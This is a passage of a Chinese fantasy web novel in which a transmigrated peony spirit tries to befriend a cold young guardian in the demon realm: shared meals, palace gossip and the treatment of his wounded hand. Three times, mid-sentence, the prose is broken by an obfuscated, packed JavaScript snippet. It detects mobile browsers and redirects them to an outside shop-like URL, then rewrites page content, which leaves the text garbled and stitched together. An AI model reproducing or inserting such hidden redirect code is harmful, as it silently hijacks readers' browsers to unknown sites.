比如这个任务能不能完成,行动上我是有在努力的,在心底里我又有些动摇。把苍生大义、三界安危压在我头上,其实我没什么实际感触,还没有给我画的饼来得接地气。 任务搞不好不就是大家一起埋了,搞好了那自然是皆大欢喜。 今日起床,先吃一颗仙丹健体,然后出门去醉人楼来上一桌丰盛的早餐。既然工资这么高,那就得花,不然还是亏了自己。 慢条斯理地吃完早饭,打包一些早点,我拎着一个食盒去往观沧海的家。对于我频繁往这里跑,左邻右舍也是习惯了,不过他家本来也没多少邻居,就那么三四户吧。 走上台阶,我用铜环叩门,“护法,醉人楼的早饭好好吃,你一定还没吃早饭吧,我给你送来。” “护法,你耳力那么好,应该听到我的声音了。” “东西还是要趁热吃的,护法?” 也是喊了几分钟,里面都没人应,我这次不翻墙了,带着食盒回了宿舍。早饭当然是不能浪费,我和别的侍女一起分着吃了。 其实想想,我要是讨厌一个人,对方还一直来烦,那是真的很折磨。说到底,都是天界的错,要是早一点抢占先机,何苦会被随璘捡了观沧海饲养。 一手带大的孩子,当然是和养自己的人亲了,一个外来的算什么狗屁。 好几天都没法见到观沧海,我虽然着急,但也隐约有了摆烂的趋势。而这个时候,随璘让我贴身伺候去。 宝珠说这三天召集了妖王、魔主来商讨对付六魔余孽的事情,议会期间观沧海作为随璘的护法,会一直陪伴在她左右。 我懂,就是贴身保镖。难怪随璘忽然召我去伺候,原来还是给我和观沧海创造机会。 感谢随璘时不时给我帮忙,让我有一种组织还记挂我的慰藉。 因为开会是大场合,所以宝珠和我一起负责随璘的饮食起居。甚至议会的时候,我俩站在她的左右两边,而最靠近她主位的就是观沧海护法的位置。 这么重要的场合,我却没有看到辞镜出来,他虽然退居幕后,可以前有重大事情,他都会陪着的。 快两个时辰的商榷内容实在枯燥,幸好有蜘蛛精这样的随行官记录下来,我听得是左耳进右耳出。 大致是明白了妖魔界现在还挺动荡的,而且各有自己的派系。领导也是不容易,不过谁让领导身居高位呢,不能解决问题,谁会认这个领导咧。 开会的时候时不时就有意见不对付的在吵架,妖王、魔主各不相让,大家也没有天界、人界那样的面子工程,一言不合就要打起来。 “比罗王,你的意思是本座窝藏六魔余孽?本座看你年纪大了,还是趁早卸任吧,赶紧找个有能力的传位!好过你老眼昏花,胡言乱语!” “呵呵呵呵,璃盅魔主你虽年轻,不也是草包一个。亏你还是火龙成精,不也没渡过雷劫位列仙班,自己的地盘也管得一塌糊涂。你一向都看不起妖魔族,要能成仙,你早眼巴巴地去了。上回族内暴动,还是请凡人之身的护法前去平息,你可真是后起之秀啊。” 事实证明不要得罪老前辈,不然会被骂得狗血淋头。 璃盅嘴炮不是比罗王的对手,人家还把一声不吭的观沧海给扯进来了,观沧海又是魔尊的人,就等于把老大拉下来。 我真是一点都不想分析这个,就和平时领导开会差不多,行政们互相攻击互相甩锅。 “你个老东西!” 被戳得恼羞成怒的璃盅大喝一声,自身体中爆发出一股妖气。压迫十足的杀意倾泻而出,周围看戏的大佬们终于也变了脸色,连忙劝说。 “何必打打杀杀,璃盅你一个魔主别这么冲动!” “就是啊,老弟息怒!” 而我居然在这种威慑中被妖气所创,好似被无形的力量拍到了身体,打得我五脏六腑都钝痛,有种被空气墙撞击的感觉。 宝珠最先注意到我的情况,只是她还没来得及扶,我已经抵抗不住妖气,口鼻流血摔坐在地,人都懵逼了。 我倒下去的动静有点大,霎时间,所有人的目光看向我这里。 天啊,我也太弱不禁风了。再被冲击下去,不得原地变回牡丹花? 随璘扭头一看,猛地一拍桌子,“璃盅!还不收了你的妖气,伤到本尊的小心肝了!” 魔尊,你有点浮夸了。明明知道我体质弱,刚才要是给我甩个护身法什么的,我肯定不会有事,现在来马后炮? 深谙职场的我没有说什么,在宝珠的搀扶下站起来,低头用手指擦血迹,糊得唇周围都是红印。 被魔尊呵斥,璃盅收敛了气焰,嘴上还不老实,“魔尊大人那么多心肝,本座倒是不知道,这侍女何时又成你心肝了。” “你要是没想好好谈事,想打架,本尊给你搭个台子,你和护法打个痛快如何?” 把观沧海搬出来后,璃盅郁闷地看了苍白冷漠的少年一眼,这次也没讲什么,倒是对着我说了声对不住,这完全是看在随璘的面子上说的。 “诸位见笑了,每回商议事情都得吵吵,真没劲。沧海,将星辰送回去休息,好好照顾。” 我和观沧海都没料到随璘会这么安排,只是我转念一想就明白了,她怕不是故意算计的,我受了伤,她正好指示对方送我,也就多了独处机会。 观沧海没想到这一层,但他也不愿意,只说道:“我要护你。” “本尊有什么好护的,你,给本尊送星辰回去。”随璘摆摆手,露出一副嫌弃的模样。 在这种场合,观沧海没想让随璘下不了台,就算关心,也还是顺从了。我就这么被宝珠转交到了护法的手里,由他扶着出了门。 终于能够离开又臭又长的会议了,可自己的身体的确遭到了伤害,这一点都不划算。 将我送到了房间,我实在站不动,就坐在椅子上,“护法随意坐啊,我休息会。” 他看了看周围,然后出去了。不是吧,看一眼就走了,说好的照顾我呢! 心里这么念叨着,我打算缓一缓,要是过了今夜身体没什么大问题,我就不去药王那边,如果后续还有症状,就要去重新开药了。 没过多久,观沧海居然回来了。他的手里端着铜盆,里面是温水和布巾。 将打湿的布巾拧干,他走过来递给我,指指脸。 是我误会他了,原来刚才是去给我打水的。接过布巾我擦干净脸,把手也擦擦,口鼻之中已经没有了血腥味,显得清爽许多。 习惯性地打开乾坤袋,从里面摸出零嘴吃,看到我掏东西就吃,观沧海看着我。 “护法吃点。”递过去杏仁糕,总觉得这话我说了好多次。 他摇摇头,拿过凳子在我旁边坐下,说道,“还能吃,说明身体没大碍。” 这话我赞同。 “魔尊为什么那么看重你。” “因为我是个好牛马。” “何意?” 真心话不好讲,我笑笑,“乱说的,可能是觉得我有点可爱,有点符合她的口味?她面前的红人捧一个是一个。” 他不反驳这话,看来我歪打正着,随璘真该感谢自己风流成性的人设,好像男女通杀都没问题。 难得的二人相处,这不得狠狠上分。 “护法,今天会议怎么没见辞镜先生?” “与你无关。” 好吧,你就将你的冷漠进行到底吧。那我不是没话题聊了,随璘刻意不救我,让我受伤制造出的独处机会,我就这么浪费了,我多亏啊。 “呃,护法你有看到寻香苑的青峦仙尊吗,听宝珠说是倾国倾城的美男子。” “哼。” 他竟然哼了一声,明显是不太爽的样子。我前几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705080|189161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次那么烦他,拍门又翻墙的,也没看他这样子冷哼。 难道真是应了那句网络名言,毒唯只对真嫂子破防。该不会辞镜不来开会,也是最近因为青峦的事在和随璘闹别扭? 我这头脑风暴真是绝了,感觉自己摸到了真相。 看看,谈恋爱就是不好,劳心劳力的,还是磕人来得爽。 吃完一块又一块,我又从乾坤袋里摸出一堆吃的,都摆在桌面上,“护法,随便吃,不用客气。” “你本体是牡丹修炼成精,怎么这么弱。” “因为我就是一朵娇花啊!” “……” “咳,妖有强弱不奇怪,要不你和我做朋友,我跟你学点法术傍身?护法你那么厉害,以凡人之躯能让这一堆妖魔噤若寒蝉,前途无量,不愧是……” 战神这个词差点从嘴里跑出来,我不太清楚他知不知道自己的过去,现在关系不明朗,还是别冒进。 “是什么。” “是我崇拜的人,是我想要结交的挚友!” “魔尊给了你多少,让你这样费心接近我,她出多少,我出双倍。” “你该不会就是用这种方法,遣散了那些魔尊送来的人吧。” “各取所需,她们也不是真心的。” 没想到观沧海看得还挺通透的,男人不自恋就是好事,免得膨胀了油腻。 “好啊,护法要是能出双倍,我就不烦你。” “你说,要什么。” “要和我做八拜之交,义结金兰,要和你两肋插刀,情同手足。” “……” 欲言又止的观沧海看起来有点无语,他闷不吭声地拿起一块芝麻饼,血色很淡的嘴唇张开,露出整齐的牙齿,就这么一口口地啃上去。 这一口牙多漂亮,牙医看了都要打卡拍照。不过他面色总是苍白,显得没有血气,到底是怎么回事呢,和六魔有关吗? 毕竟体内有残念,又是凡人之躯,要不是被随璘养大,教养他修炼,可能会早夭? 如果宿主死掉了,六魔是会占据身体,还是会就此消失? 如果想要搞懂,这任务就得一直做下去。 我俩还真是相反,我看着面色红润,但一推就倒,他看着脸色苍白,却孔武有力。 观沧海这会儿安静啃饼,也有了几分年少青涩之感,我不由得多看他几眼。平日摆着一张严厉的模样,人也冷厉,看着不好糊弄,现在倒像能撸毛的乖仔了。 “护法,你为什么体寒?和你缺少血色有关系吗?你又不是水里的妖怪,也不是冰,可是有血有肉的凡人,温度不应该这么低的。” “和你……” “和我无关,我闭嘴。”已经学会抢答的我乖巧一笑,不再打听。 观沧海奉命在这陪着我,但他的心思并不在此处,吃了芝麻饼,又无话可谈,主要是他不想深聊。这人频频望向门外,显然是想离开。 他应该是想回到随璘身边保护她,毕竟妖魔界还不算太平,刺杀的事也不少。而且看起来又和辞镜闹矛盾了,观沧海想去护她实属正常。 心都不在这里,强行攻略不合适,我得迂回一下。 “护法去找魔尊吧,她问起来,你就说我很累睡着了,不习惯你盯着,所以让你回去。” “多谢。” 闻言,他立即站起身,转身就要跑路。 这也太干脆利落了! “等等护法!我觉得你可以再考虑一下让我做侍女这件事,我在你身边,好过她一直给你塞人吧。而且我不爬床的,我只和你交朋友啊,你不需要对我多费心思,我绝对识时务!” “你想想,其实这买卖不亏的!再说我这么弱,也不会伤害到你对不对。把我带上,也是魔尊的心愿呀,你既然想让她高兴,何必不成全一番!我真不会给你添乱的!” 观沧海没有回应,径直走了,也不知道有没有听进去。 6.06 任务迟迟没有进展让人灰心,我只好以美食宽心了,反正任务做不好,比我着急的多得是。 开会三天,担心别的妖王魔主打架又伤到我这朵娇花,随璘也不让我去伺候了。我得了空闲,天天在房间里养膘,挺幸福的。 趁着没人,我还是去了一趟药王殿。有传送阵法就是方便,药王给我查看了身体,没什么大碍,便把改良后的仙丹给了我几瓶。 恰好旧的也快吃完了,我这才想起,之前还答应要给药王弄点妖魔界的药材,这都完全忘记了,这次回去我得记住。 回到宿舍,换了一身轻便的衣裤,垮上装满灵石的挎包,我愉快出门逛街。 先前没去过药铺,我还是问了同事才知道有一条街是专门卖这些药材的。一路打听着到了这条街区,有的是店铺,有的是沿街支摊,还有一些游街穿巷的大夫。 妖魔界修为高的妖魔也不一定会化形,有的还是本体来往,也有的像异形头那样,有时候在路上坐着观看这些妖魔也挺有意思的,就像在现代的时候在马路边看车。 药王没有指定要什么类型的药材,我就打算都看看,好比逛超市。 一不小心走进一家提供人货的店铺,店家是个猪妖,药罐里还封存着凡人婴儿,这是作为药引来使用的。 药引搭配药物,能让药效发挥更大的作用,但我觉得药王应该是不用这么邪门的药引的。 “姑娘你再看看呀,这里的人货都是安全干净的,进货渠道也正常,虽然贵是贵了点。” 我疯狂摇头,走出去的时候绊到了门槛,摔到一个人身上。来人穿着雪白的大氅,烟灰色的长发披在背后,他还有一双妖冶迷人的蓝色眼眸。不管看多少次,都会被迷惑一瞬。 “辞镜先生,对不起。” 哪里想到会在这个地方碰到辞镜,站稳脚跟后,我连忙后退和他行礼。 跟在随璘身边的时候,还是有见过辞镜的,长了一张妖孽脸,很难不让人记住。 “小星星来卖药么。” 是的,辞镜跟着随璘一样喊我小星星,随璘喊的时候能感觉到她的调侃和几分情谊,但是辞镜这么喊,听着挺亲切,实际上没啥感情的。 纵观我磕学家的经验,妖娆的辞镜看着好相处,实际上只管随璘的死活。 否则一手养大的观沧海怎么会不和他亲密呢,说明,真心待观沧海的确实只有随璘,辞镜对他只是顺便和随便。 我来妖魔界真实的意图,我猜辞镜应该是知晓的,毕竟随璘对他还是知无不言。 “嗯,我买点药,以后好带过去。”弱弱地说着,我的手指头指了指天上。 了然的辞镜笑一笑,在这初冬的景象中,竟给人一种暖意。 还以为在这碰见只是凑巧,可是辞镜和我逛起来了,并且告诉我哪些药材是本地的,天界很难得到。 一听天界很难得到,我马上就猛猛买,反正工资不花也是浪费。我平日的钱也就用在吃喝上面,下个月的工资也快来了,在这里也有房子住,没有买地产的需求。 趁着老板打包,我从兜里拿出五香花生吃,我递给旁边的人,“先生吃花生。” “不用。” “哦。我还有别的,吃么?”我拉出乾坤袋,展示我的军火库。 辞镜低头看一眼,“你是松鼠还是仓鼠。” “呃,我是牡丹花。” “我知道。” 看来是被打趣了。 走到辞镜身边,都没觉得他冰冷,一个九千年的冰妖,我以为会像移动冰柜一样寒冷,结果和正常人体温差不多,还没有观沧海凉。 “璘儿近日没召见你服侍么。” 终于,辞镜问出了这个话。我就等着他开口,不然还真以为他是哪根筋抽了,来陪我逛街,必定是有话问的。 “最近都是宝珠她们几个,不过很多时候,魔尊是在寻香苑的,宝珠她们也不进去伺候。” “哦,这样。” “辞镜先生,议会的这几天,你为什么没陪在魔尊身边呀。” “她因为天界那个小白脸在同我闹脾气,说不想见我。” 这还真是稀奇了,我几乎没看见过随璘发脾气,一贯的漫不经心,好像没什么能难倒她。 有点好磕啊,真想当场吃糖。 “没事的,魔尊心里有你,过两天就和好了。” “已经过了五天了,她还未来找我。以前不会这样。” 这幽怨的表情是怎么回事,还有这阴冷下来的语气,让我感觉青峦都活不过这个冬天啊。 难不成随璘真的遇见真爱了?以前辞镜的正宫地位是不可撼动的,那些男宠也从来都不会在他面前舞。 我也不知道要说些什么,硬着头皮宽慰着,“辞镜先生,你有容人之量,以前那么多男宠都不在意,那这青峦仙尊说不定也是过客呢。” “我倒也这样希望,可璘儿对他不一样。” 经典名言:她/他不一样。 我嗅到了不妙的气息,只好说道:“我若是见了魔尊,给她说一下,请她去见你?” “不必了,那个没良心的,难道不提醒,就忘记我了。” 我可真不知道要讲什么了,还好辞镜并没有为难我一个小人物,他在我这问了几句后就转身消失在街角。 之前我倒也想过,要不要去见见青峦仙尊,毕竟他也是我的大饼之一,不过随璘那么喜欢他,我还是不要随便掺和了。 把这条街的药铺都逛完,差不多也到吃中饭的点了,用乾坤袋装好药材,我屁颠屁颠地跑去醉人楼。 成为了常客的我已经和店小二、掌柜都熟悉了,总会给我留一桌,不需要和别人拼桌。 吃饱喝足,我照例打包,顺便就去了观沧海家。商讨会都结束了,他也没有任务,也不结交朋党,肯定就是在家宅着啦。 店家看到我过来,往墙边看一眼,我就看到他家的梯子放在那里的。 “姑娘你天天爬护法家围墙,要不你把这梯子买了吧,租不划算的。” “说得也是,买!” 梯子比较轻巧,我扛得动,把这梯架在墙头,我拎着食盒往上爬。 很快就看到了围墙里面的景色,这次我换到了没有池塘的矮墙这边,墙内侧是一颗歪脖子树,顺着树干还能滑到草地上。 刚跨上围墙,我就看到了站在树下围着褐色围裙的少年,他仰着头瞧我,简直和幽灵一样,只是那双黑色眼睛熠熠生辉。 目光转动,我才看到他的右手上拎着菜刀,上面有着血迹,还有鱼鳞。那应该不是提刀来宰我的,而是正在做饭? “啊哈哈,护法,中午好,吃了吗?”我拎起手里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708677|189161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的食盒。 “姜星辰,屡教不改。” 他还比我小好几岁呢,年纪不大,口气不小。 “等等!别用法术轰我,醉人楼出了新菜品,我想着让护法尝尝的!” “不用。” “醉人楼以凡人饮食为主,魔尊说你少时常去那里的,那应该是喜欢的。” “我自己做饭。” “你应该不介意多几道菜吧?说不定吃了,你还能研究一下。” 观沧海收回视线,转身走了,不咸不淡的声音传过来。 “走正门。” 你就让我从这里翻墙过去又怎么了?从这边绕回正门也很远啊! 我还是原路返回,从正门进了,至少任务算是推动了一点? 我又看到了蒲公英精灵,它们这些小精灵到处玩乐,顺便将我引到了灶房。 这里的灶房很大,外面也有一片空地,摆着石桌石椅。妖精们说观沧海做好饭以后,天气晴朗,就会在外面吃,要不然就在灶房里面吃。 我望烟囱里飘远的炊烟,闻到了煮好的米饭香气。将食盒放在桌面上,我正要进灶房,观沧海又说话了。 “你是客,不用帮忙。” “哦,好。” 但其实我没打算帮忙,就是想进去参观的。我怕他做菜做多了,连忙说道:“我这里有两荤两素,护法不要做太多菜了!” “好。” 大概过了二十多分钟,他端来一盘水煮鱼片,一碗蛋汤,还有两碗大米饭。 我将食盒里的菜也摆了出来,都是新品,卖相看着比他的鲜艳许多,香味也更重。 “其实我来的时候吃过饭了。”我如实相告。 “哦。” 观沧海撤回一碗米饭,我赶紧拦住他,“别啊,但是我还能吃!吃不完我兜着走!” 看我执意要吃,他又将碗筷还给我。 醉人楼的菜我都试过了,眼下当然是要吃吃看护法的,舀了一勺鱼肉,我谨慎地挑着刺,这才吃下第一口。 还挺好吃的,鱼肉鲜美,没有一丝腥气,处理得还不错。发现他不是厨房杀手,我也不意外,毕竟他都自己洗衣服,那肯定做饭也经常自己做,再难吃也练出来了。 “护法。” “吃饭不吃话。” “……” 我又不是真的来混饭的,让人做饭搭子还不让人聊天吗! 像个哑巴一样,我吃了全程。 两个人还是没吃完这一桌,毕竟我半个时辰前才吃了中饭,不过观沧海做的鱼都吃完了。 他把剩下没吃完的菜丢了潲水桶,会有妖怪来专门收。我刚喝了一杯花茶,又搭话道。 “护法,你吃完打算做什么?要不咱俩散散步,聊聊天?” “修炼,你请回。” 刚吃完就修炼,小心肠子打结。想找点理由多和他聊几句,但有时候逼得太紧就像爱而不得的舔狗了,还是要松弛有度才行。 “好的好的,今日多谢护法相邀用饭,明天见!” “……还有明天么。” 他也不像是厌恶的样子,我就大起胆子了。 “当然有了,明天,大后天,要是护法在家,我可以给你做饭搭子。” 假装听不懂他话里的无力,我竖起一个厚颜无耻的大拇指。 7.07 我厚着脸皮当起了观沧海的饭搭子,隔三差五就带着食材去他家拼好饭。当然,也不是一日三餐都去打扰,而是一天中的某一餐。 前天是中饭,昨天是早饭,今天就该是晚饭了。 谁让我的背后是抚养观沧海长大的随璘呢,他只好忍了我这个饭搭子,要是我去吃饭,就顺便给我弄一份。 只是我目前也只达成了饭搭子成就,而且吃饭的时候他又不怎么聊天,于是关系也没有变得多亲近。 随璘百忙之中来了我的宿舍,想听我汇报最近的进展。还好我成功地进了观沧海的家,并且完成了拼好饭举动。 “你的意思是,你蹭了他一顿饭?” “嗯嗯!魔尊,你不觉得这是一个巨大的进步吗,我从正门进去,并且吃了他亲手做的饭!” 实在是没什么拿得出的功绩来讲了,只能说蹭饭这种事。有一种被领导询问项目进度,而我只会尬笑的无助感。 没想到随璘并不是鄙夷,而是挺欣喜的,她拍着我的手背,“这可是巨大的进步啊,今天能进大门,明天就能进房门。” 你还没放弃爱情攻略这条线呢?懒得反驳,好歹也是给我发工资的领导,我只是微笑。 “魔尊,辞镜先生的事……” 听我提起了男妈妈,随璘撒开我的手,眉眼间有了一丝烦恼,“哪壶不开提哪壶,小嘴要不要了。” “呃,我上次去买药材,碰见了他。” “聊什么了?” 看来还是在意的,我可不敢添油加醋,一五一十地转述了。 “他也是快上万岁的老东西了,最近烦得很。尤其是本尊把青峦带回来后,他就一直摆脸色,以前也没这样。” 我默默地听着,并不敢发表什么意见,专心做个吃瓜观众。 “辞镜昨日来找本尊,聊不到两句又发脾气,本尊让他去山里闭关静静心,免得总惹人不痛快。” 有种让男妈妈收拾包袱滚回农村的既视感,随璘揉了揉眉心,在我这里没待多久,转头又去找青峦求安慰了。 感觉随璘和辞镜在一起全是不爽,和青峦在一块就新鲜又自在。 在宿舍吃吃喝喝躺了大半天,掐着时间,眼看着红日西斜,正是要吃晚饭的点。在菜篮子里装上搭伙的菜,半斤生牛肉,两个鸡蛋,一堆菌子,我踏着黄昏的光去了观沧海家。 “护法,今日饭搭子来打卡了!” 拍拍门,是小妖精们给我打开的,我把糖块递给它们吃,自己去灶房找人。 当了这么几天的饭搭子,我对这个家最熟悉的还是食堂那一片,一直这么循序渐进也不是办法。 天帝天后倒是从来没有问任务进度条,但这里有魔尊监督我,四舍五入也是被天界拿捏着,不知道这任务有时限吗? 将一篮子菜拎到灶台上,米饭已经煮好,我甚至嗅到了锅巴的气息。 “护法,今天你做什么菜?” “买的卤鹅,炖了乌鸡汤。” “今日大补啊,我这里有生牛肉、菌子和鸡蛋。” 我将菜篮子搭着的布掀开给他看,观沧海拿走生牛肉,将悬挂的菜刀拎起,三两下就切了牛肉丝,做了道菌子炒牛肉,鸡蛋直接煮了水煮蛋。 虽然入了冬,不过天气还不算太冷,沐浴着夕阳,我们将晚饭摆在外面吃。 这次我可是有话题聊了,试探地问他,“护法,你知道辞镜先生去深山静修了吗。” 他拿筷子的手一顿,目光转向我,看这样子像是知情的。 我继续八卦,“我也是才听魔尊说的,你说她是不是真的很喜欢青峦仙尊。” “少打听这些。” “就是吃吃瓜而已,你不去劝两下吗?看样子魔尊和辞镜先生还在生气。”一边疯狂干饭,一边看他脸色发问。 “我劝了,也要被骂。” 这个回答在我意料之外,吃了一碗饭,我放下筷子拿了一条鹅腿吃,问他,“被谁骂?” “两边。” 幻视一些爸妈吵架小孩遭殃的画面,看来他也是不打算搅合的。 “魔尊和辞镜先生有吵过架吗?” “很少,但有。” “哇哦。” 还以为一个很包容一个很潇洒,应该是吵不起来的,看来恋爱关系就没有不吵的,怎么觉得更好磕了,活人感更重了。 “护法,今天吃完了,要不要去散散步?” “不去。” 每回邀你都不去,哼! “哦。要不,等这里下第一场雪了,我们再去散步?” “下雪有什么好看的。” “挺好看的,还能打雪仗,堆雪人。” 他不说,我就当默认了。 今天这顿晚饭吃得丰盛,没吃完的卤鹅我打包回去,还能当宵夜。 我来蹭饭会提供菜,吃完了帮忙打扫收拾,刷洗锅碗瓢盆的活还是观沧海自己做。他似乎不讨厌做家务,也不用清洁类的术法,慢条斯理地干活,有种在认真过日子的样子。 冬日天黑得快,观沧海挑着一盏款式普通的灯给我,“回去吧。” “好的,明天我来吃午饭,晚饭还是有点晚了。” “非要来吃饭不可么。” “我俩已经是饭搭子了。不觉得有朋友陪着吃饭更香吗?而且我只是一天来一回。”卑微牡丹,在线乞讨。 少年的目光转开,看着一旁的草地,生硬地说:“不觉得,你很烦。” 烦也没见你骂我打我,就算是狗仗人势,我也要仗着随璘撑腰继续进攻! 我拿过灯笼,灿烂一笑:“明天见,护法。” 这么蹭饭蹭了一段时间,也能和观沧海聊天了,虽然任务进度条以龟速前进,但总比一动不动来得好。 我是每天都盼着赶紧下雪,这样就有理由邀他出去散步。 也是糊涂,我都没想到去找随璘帮忙改变天气,强悍的妖魔能够掌控一方天气是很正常的事。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16714773|189161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>当我想到这一点时,这天我正挎着几只猪蹄去拼好饭,刚走到大门口要敲门,门忽的打开,吓得我往旁边一让。 “等着。” 急匆匆丢下两个字,看也不看我一眼,一身深色劲装的少年拿着长刀飞奔而过。 擦身而过的瞬间,我还能嗅到他身上的柴火气息,是刚做饭就接到了什么紧急的事情吗? 那句等着是对我说的吧,让我进屋先做饭? 想着他有事先出门,我决定自己做一顿饭试试。穿越来这里数月,我还从来没做过饭。 先前看过观沧海使用灶台,我也算是知道怎么操作。院子里的小妖精们也过来帮忙看着火候,我就刷锅淘米,又在米上放几块切开的玉米,这样蒸出来的饭还有玉米的清香。 猪脚用另一口锅子小火炖着,后面加入了芋头和鸡蛋。今天的蔬菜摄取就用青菜汤了,感觉是很棒的一餐。 到底是缺乏了一些实操经验,摸索着的我花了一个时辰才做好午饭,只是观沧海并没有回来。 我饿了就拿出乾坤袋里的粮食啃,想等着他一起回来再吃。 灶膛里的火若是一直燃着,锅里的猪脚收汁后会糊,也不能一直加水,我用铁铲将火堆掩埋,控制着火势大小。 被自己炖的猪脚馋得要死,这人居然迟迟不回来,万一他有急事出远门了,我难道一直傻傻地等? 内心也是纠结着,我想着再等一阵,免得我一开吃,他又回来了。 分了一些炒栗子给妖精们,它们捧着东西在周边啃,然后蒲公英小妖大叫一声。 “护法回来啦!” 一听到这提醒,我连忙起身去正门迎接。 观沧海出去的时候还没受伤,回来时,左手掌上血肉模糊,手心手背都有血,看样子是被锐器打穿了。 这伤口看得我头皮发紧,这些小妖却习以为常。观沧海看我面露惧色,将左手往身后一背,说道,“你去醉人楼吃饭,今天我不做饭。” “我做好了。” “你做了?” “嗯,等你回来的时候做好了。你的手怎么了?” 虽然有些怕,这伤口看着也实在让人发怵,但我的经验告诉我,现在是攻略的好机会,不管此时走哪条路线进攻,都是加分项。 “小伤。”观沧海并不在意地说。 “可是,魔尊都不是你的对手,这里谁能伤到你?” “……” 观沧海没回应,而这时小妖精们把药箱举来了,实在贴心。 我接过药箱打开,里面看着都是治疗外伤的药,还有一些内服消炎镇痛的。我以前给弟弟用络合碘擦过摔破的膝盖,但这种打穿皮肉筋骨的,我觉得需要专业的医生。 “你会处理?”观沧海看我打开箱子,问道。 我摇摇头:“不太会,要不我们去医馆吧,你这看起来要缝合。” “小伤,我自己缝。” “啊?” 什么狠人啊! 8.08 我们转移地方去了一间布置简略的客房,这里离灶房比较近,观沧海坐在椅子上,解开护腕,用右手给自己左手挽袖子。 小妖精们说道:“小牡丹,你要去打一盆温水过来。” “哦,好的。” 我听话地去灶房,先前烧了两壶水,本来是打算泡茶的,也是提前派上用场了。 我打了水进屋,妖精拿来了干净的布巾浸入水中,观沧海的衣袖挽在小臂处,左手掌还在缓慢地流血,血的颜色是正常的,没有中毒之症。 也不知道自己还能做什么,我就在旁边看着,妖精在药箱里找出了卷带里的行医工具,我看到了尖头有弧度的针。 “小牡丹,帮护法擦一擦伤口周围,去掉血污。” 蒲公英这么吩咐,我将打湿的布巾拧干,然后走到观沧海面前蹲下,他坐在我面前高出了许多,左手被我牵起时,他好像不太适应,紧绷着往后抽手。 这一下用劲,血又冒出了,我着急道:“别用力,护法你自己不方便擦,我来擦。左手别动了。” 观沧海的右手握紧又松开,像是有些不知所措,最后捏住了椅子的扶手,而左手被我轻轻托住,我小心翼翼地给他擦拭。 在我仔细擦洗的过程里,他似乎无事可做,右手抓着扶手时而紧时而松。 弄疼他了?我应该没那么用力吧,总不能我给他吹伤口,再说句痛痛飞走?那这攻略路子就有点暧昧了。 他的手擦干净后,那盆清水就污浊了。在妖精的提醒下,我拿起消炎止血的药粉,先是撒在他的手心,再翻过他的手背,又撒一遍,像是烤串撒孜然。 做完基础的工作,缝合的事情,观沧海就自己来。 这个线是妖魔界的树纤维提取制作的,以后不需要拆线,直接融入皮肤里。 穿针引线后,我将缝合的针递给他,接着就目不转睛地盯着他的伤口。右手拿着针的观沧海看我这样子,低声说道。 “你坐一边去,挡着光了。” “我不用帮你按着皮吗?” “不用。” 蹲在他面前的我赶紧挪到一边的凳子上,他就这么面不改色地给针消毒,然后缝衣服一样缝合自己的皮肉。 手很稳,这种事看起来没少做,如果让我来,我肯定哆嗦得像九十岁大爷。 “护法你先缝着,我去热一热饭菜。” 想着他处理好了伤口,肯定也该饿了,我交代一声就跑去了灶房。反正还有这些小妖怪们陪着他,包扎的事肯定没问题。 等我这边热好了炖猪蹄,观沧海已经换了一身青衣,左手包着绷带过来了。 今天天气不怎么好,我在屋内摆桌,连忙招待他说道:“快坐快坐,吃饭了!正好我炖了猪蹄,说不定能补补你的手。” “……” “呃,我没说你手是猪蹄,朋友你的手很好看!” “不用多此一举解释。” “好吧。” 将碗筷递给他,我忽然觉得自己像是这个地盘的主人似的,他反而成了客。 “我出去,是因为魔尊出事了。” 吃到一半,没想到他主动和我提起了,爱吃瓜的我怎么会错过,立即竖起耳朵,“然后呢?魔尊出什么事了?要不要紧,是谁能打伤你啊?” “魔尊也受了伤,医师说没事能处理,辞镜先生知道后也会去找她的。伤人的是天界来的仙娥云喜雨,此前没听过这号人物。她手里的万相千重刃是三界最强的神器。” 仙娥?小仙女?一个小仙女拿了全天下最厉害的神器? 如果天界有这么厉害的人物,为什么还要派我来感化观沧海啊?一剑下去,六魔不就嗷呜了。 “原来是女孩子,居然这么厉害。打伤魔尊和你。” 观沧海:“麻烦的是她手里的神器。” “她的目的是?” “只是救走了青峦,没有扩大事态,更没有带天兵天将来讨伐。” 嘶,又是为了青峦,好一个蓝颜祸水。不过我的大饼被救走了,还是恭喜他吧。 我就说嘛,天界怎么可能忽然派人来攻打妖魔界,应该是个人行动。 而为了青峦单枪匹马冲到魔宫来救人,这感情不一般啊。 脑子里想了一转,我瞥眼看到观沧海将受伤的手搭在桌上,右手拿筷子,饭碗也摆在桌面,他以前会端起来的。 